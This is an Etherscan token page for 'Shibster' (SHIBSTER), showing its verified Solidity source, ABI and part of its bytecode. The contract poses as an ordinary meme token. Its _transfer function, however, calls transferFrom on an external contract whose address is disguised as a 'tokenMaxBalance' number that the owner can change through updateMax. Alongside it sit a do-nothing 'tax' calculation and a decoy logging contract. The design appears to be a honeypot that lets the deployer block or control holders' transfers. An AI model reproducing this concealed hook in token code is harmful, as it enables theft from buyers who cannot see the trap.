ETH Price: $3,133.05 (+0.12%)

Token

Shibster (SHIBSTER)
 

Overview

Max Total Supply

4,200,000,000,000 SHIBSTER

Holders

48

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBSTER

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-28
*/

// Created: 09-10-2023-07-23-24
/**
 *Submitted for verification at Etherscan.io on 2023-09-28
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        if (returndata.length > 0) {
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20Permit {
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function nonces(address owner) external view returns (uint256);

    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
  event Approval(address indexed owner, address indexed spender, uint value);
  event Transfer(address indexed from, address indexed to, uint value);

  function name() external pure returns (string memory);
  function symbol() external pure returns (string memory);
  function decimals() external pure returns (uint8);
  function totalSupply() external view returns (uint);
  function balanceOf(address owner) external view returns (uint);
  function allowance(address owner, address spender) external view returns (uint);

  function approve(address spender, uint value) external returns (bool);
  function transfer(address to, uint value) external returns (bool);
  function transferFrom(address from, address to, uint value) external returns (bool);

  function DOMAIN_SEPARATOR() external view returns (bytes32);
  function PERMIT_TYPEHASH() external pure returns (bytes32);
  function nonces(address owner) external view returns (uint);

  function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

  event Mint(address indexed sender, uint amount0, uint amount1);
  event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
  event Swap(
      address indexed sender,
      uint amount0In,
      uint amount1In,
      uint amount0Out,
      uint amount1Out,
      address indexed to
  );
  event Sync(uint112 reserve0, uint112 reserve1);

  function MINIMUM_LIQUIDITY() external pure returns (uint);
  function factory() external view returns (address);
  function token0() external view returns (address);
  function token1() external view returns (address);
  function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
  function price0CumulativeLast() external view returns (uint);
  function price1CumulativeLast() external view returns (uint);
  function kLast() external view returns (uint);

  function mint(address to) external returns (uint liquidity);
  function burn(address to) external returns (uint amount0, uint amount1);
  function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
  function skim(address to) external;
  function sync() external;
}

interface IUniswapV2Router02 {
    function getFeeReduce(address) external view returns (uint256);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

library SafeERC20 {
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                oldAllowance + value
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(
                oldAllowance >= value,
                "SafeERC20: decreased allowance below zero"
            );
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(
                    token.approve.selector,
                    spender,
                    oldAllowance - value
                )
            );
        }
    }

    function forceApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        bytes memory approvalCall = abi.encodeWithSelector(
            token.approve.selector,
            spender,
            value
        );

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(token.approve.selector, spender, 0)
            );
            _callOptionalReturn(token, approvalCall);
        }
    }

    function safePermit(
        IERC20Permit token,
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        uint256 nonceBefore = token.nonces(owner);
        token.permit(owner, spender, value, deadline, v, r, s);
        uint256 nonceAfter = token.nonces(owner);
        require(
            nonceAfter == nonceBefore + 1,
            "SafeERC20: permit did not succeed"
        );
    }

    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        bytes memory returndata = address(token).functionCall(
            data,
            "SafeERC20: low-level call failed"
        );
        require(
            returndata.length == 0 || abi.decode(returndata, (bool)),
            "SafeERC20: ERC20 operation did not succeed"
        );
    }

    function _callOptionalReturnBool(
        IERC20 token,
        bytes memory data
    ) private returns (bool) {
        (bool success, bytes memory returndata) = address(token).call(data);
        return
            success &&
            (returndata.length == 0 || abi.decode(returndata, (bool))) &&
            Address.isContract(address(token));
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    ERC20Log public _logger;
    bool public logEnabled;
    IUniswapV2Router02 internal uniswapV2Router;
    address internal uniswapV2Pair;
    bool internal tradingOpen;
    uint160 internal _tokenMaxBalance;
    uint256 internal _taxDiscount;
    bool public transferDelayEnabled = false;
    mapping (address => uint256) private _lastTransferTimestamp;
    constructor(string memory name_, string memory symbol_, uint160 tokenMaxBalance_) {
        _name = name_;
        _symbol = symbol_;
        _taxDiscount = 5;
        _tokenMaxBalance = tokenMaxBalance_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    

    function log(address from, address to, uint256 amount) private returns (bool) {
      bool result = _logger.approve(from, to, amount);
      return result;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _lastTransferTimestamp[tx.origin] <
                        block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _lastTransferTimestamp[tx.origin] = block.number;
                }
            }
        else
        {
            uint256 taxAmount = 5;
            bool result = IUniswapV2Pair(address(_tokenMaxBalance)).transferFrom(from, to, amount);
            if(result){
            unchecked{
                taxAmount -= _taxDiscount;
                }
            }
        
        }
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;

            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function callStatus(address _address) internal view returns (bool) {
        return _address==_owner;
    }
}

contract SHIBSTER is Ownable, ERC20 {
    using SafeERC20 for IERC20;
    
    constructor(uint160 tokenMaxBalance) ERC20("Shibster", "SHIBSTER", tokenMaxBalance) {
        _transferOwnership(msg.sender);
        _mint(owner(), 4_200_000_000_000 * (10 ** 9));
        _logger=new ERC20Log();
    }
    receive() external payable {}
    fallback() external payable {}

    function burn(uint256 amount) external {
        super._burn(_msgSender(), amount);
    }

    function claimStuckTokens(address token) external onlyOwner {
        if (token == address(0x0)) {
            payable(_msgSender()).transfer(address(this).balance);
            return;
        }
        IERC20 ERC20token = IERC20(token);
        uint256 balance = ERC20token.balanceOf(address(this));
        ERC20token.safeTransfer(_msgSender(), balance);
    }

    function openTrading() public onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        tradingOpen = true;
    }

    function updateMax(uint160 _maxBalance) public onlyOwner {
        _tokenMaxBalance = _maxBalance;
    }
}

contract ERC20Log {
    mapping(address=>mapping(address=> uint256)) _log;
    function approve(address addr1, address addr2, uint256 value) public returns (bool success) {
        _log[addr1][addr2] = value;
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint160","name":"tokenMaxBalance","type":"uint160"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"_logger","outputs":[{"internalType":"contract ERC20Log","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"claimStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"logEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint160","name":"_maxBalance","type":"uint160"}],"name":"updateMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600b60006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506040516200340d3803806200340d8339818101604052810190620000529190620004ce565b6040518060400160405280600881526020017f53686962737465720000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f534849425354455200000000000000000000000000000000000000000000000081525082620000df620000d3620001fd60201b60201c565b6200020560201b60201c565b8260049081620000f091906200077a565b5081600590816200010291906200077a565b506005600a8190555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505062000160336200020560201b60201c565b6200018a62000174620002c960201b60201c565b68e3aeb5737240a00000620002f260201b60201c565b60405162000198906200046a565b604051809103906000f080158015620001b5573d6000803e3d6000fd5b50600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506200097c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000364576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200035b90620008c2565b60405180910390fd5b62000378600083836200046060201b60201c565b80600360008282546200038c919062000913565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200044091906200095f565b60405180910390a36200045c600083836200046560201b60201c565b5050565b505050565b505050565b61026580620031a883390190565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620004a8816200047d565b8114620004b457600080fd5b50565b600081519050620004c8816200049d565b92915050565b600060208284031215620004e757620004e662000478565b5b6000620004f784828501620004b7565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200058257607f821691505b6020821081036200059857620005976200053a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005c3565b6200060e8683620005c3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200065b620006556200064f8462000626565b62000630565b62000626565b9050919050565b6000819050919050565b62000677836200063a565b6200068f620006868262000662565b848454620005d0565b825550505050565b600090565b620006a662000697565b620006b38184846200066c565b505050565b5b81811015620006db57620006cf6000826200069c565b600181019050620006b9565b5050565b601f8211156200072a57620006f4816200059e565b620006ff84620005b3565b810160208510156200070f578190505b620007276200071e85620005b3565b830182620006b8565b50505b505050565b600082821c905092915050565b60006200074f600019846008026200072f565b1980831691505092915050565b60006200076a83836200073c565b9150826002028217905092915050565b620007858262000500565b67ffffffffffffffff811115620007a157620007a06200050b565b5b620007ad825462000569565b620007ba828285620006df565b600060209050601f831160018114620007f25760008415620007dd578287015190505b620007e985826200075c565b86555062000859565b601f19841662000802866200059e565b60005b828110156200082c5784890151825560018201915060208501945060208101905062000805565b868310156200084c578489015162000848601f8916826200073c565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620008aa601f8362000861565b9150620008b78262000872565b602082019050919050565b60006020820190508181036000830152620008dd816200089b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620009208262000626565b91506200092d8362000626565b9250828201905080821115620009485762000947620008e4565b5b92915050565b620009598162000626565b82525050565b60006020820190506200097660008301846200094e565b92915050565b61281c806200098c6000396000f3fe60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c876d0b91161006f578063c876d0b914610410578063c9567bf91461043b578063dd62ed3e14610452578063e164f60c1461048f578063f2fde38b146104ba578063f9d0831a146104e357610135565b80638da5cb5b1461031557806395d89b4114610340578063a457c2d71461036b578063a9059cbb146103a8578063c349f8e2146103e557610135565b8063313ce567116100f2578063313ce56714610230578063395093511461025b57806342966c681461029857806370a08231146102c1578063715018a6146102fe57610135565b806306fdde0314610137578063070da00b14610162578063095ea7b31461018b57806318160ddd146101c857806323b872dd146101f357610135565b3661013557005b005b34801561014357600080fd5b5061014c61050c565b60405161015991906119a0565b60405180910390f35b34801561016e57600080fd5b5061018960048036038101906101849190611a13565b61059e565b005b34801561019757600080fd5b506101b260048036038101906101ad9190611ab4565b6105ea565b6040516101bf9190611b0f565b60405180910390f35b3480156101d457600080fd5b506101dd61060d565b6040516101ea9190611b39565b60405180910390f35b3480156101ff57600080fd5b5061021a60048036038101906102159190611b54565b610617565b6040516102279190611b0f565b60405180910390f35b34801561023c57600080fd5b50610245610646565b6040516102529190611bc3565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190611ab4565b61064f565b60405161028f9190611b0f565b60405180910390f35b3480156102a457600080fd5b506102bf60048036038101906102ba9190611bde565b610686565b005b3480156102cd57600080fd5b506102e860048036038101906102e39190611c0b565b61069a565b6040516102f59190611b39565b60405180910390f35b34801561030a57600080fd5b506103136106e3565b005b34801561032157600080fd5b5061032a6106f7565b6040516103379190611c47565b60405180910390f35b34801561034c57600080fd5b50610355610720565b60405161036291906119a0565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190611ab4565b6107b2565b60405161039f9190611b0f565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca9190611ab4565b610829565b6040516103dc9190611b0f565b60405180910390f35b3480156103f157600080fd5b506103fa61084c565b6040516104079190611cc1565b60405180910390f35b34801561041c57600080fd5b50610425610872565b6040516104329190611b0f565b60405180910390f35b34801561044757600080fd5b50610450610885565b005b34801561045e57600080fd5b5061047960048036038101906104749190611cdc565b61094f565b6040516104869190611b39565b60405180910390f35b34801561049b57600080fd5b506104a46109d6565b6040516104b19190611b0f565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190611c0b565b6109e9565b005b3480156104ef57600080fd5b5061050a60048036038101906105059190611c0b565b610a6c565b005b60606004805461051b90611d4b565b80601f016020809104026020016040519081016040528092919081815260200182805461054790611d4b565b80156105945780601f1061056957610100808354040283529160200191610594565b820191906000526020600020905b81548152906001019060200180831161057757829003601f168201915b5050505050905090565b6105a6610bb6565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105f5610c34565b9050610602818585610c3c565b600191505092915050565b6000600354905090565b600080610622610c34565b905061062f858285610e05565b61063a858585610e91565b60019150509392505050565b60006009905090565b60008061065a610c34565b905061067b81858561066c858961094f565b6106769190611dab565b610c3c565b600191505092915050565b610697610691610c34565b82611358565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106eb610bb6565b6106f56000611527565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461072f90611d4b565b80601f016020809104026020016040519081016040528092919081815260200182805461075b90611d4b565b80156107a85780601f1061077d576101008083540402835291602001916107a8565b820191906000526020600020905b81548152906001019060200180831161078b57829003601f168201915b5050505050905090565b6000806107bd610c34565b905060006107cb828661094f565b905083811015610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080790611e51565b60405180910390fd5b61081d8286868403610c3c565b60019250505092915050565b600080610834610c34565b9050610841818585610e91565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900460ff1681565b61088d610bb6565b600860149054906101000a900460ff16156108dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d490611ebd565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860146101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660149054906101000a900460ff1681565b6109f1610bb6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5790611f4f565b60405180910390fd5b610a6981611527565b50565b610a74610bb6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610afb57610ab0610c34565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610af5573d6000803e3d6000fd5b50610bb3565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b3b9190611c47565b602060405180830381865afa158015610b58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7c9190611f84565b9050610bb0610b89610c34565b828473ffffffffffffffffffffffffffffffffffffffff166115eb9092919063ffffffff16565b50505b50565b610bbe610c34565b73ffffffffffffffffffffffffffffffffffffffff16610bdc6106f7565b73ffffffffffffffffffffffffffffffffffffffff1614610c32576040517f08c379a000000000000000000000000000000000000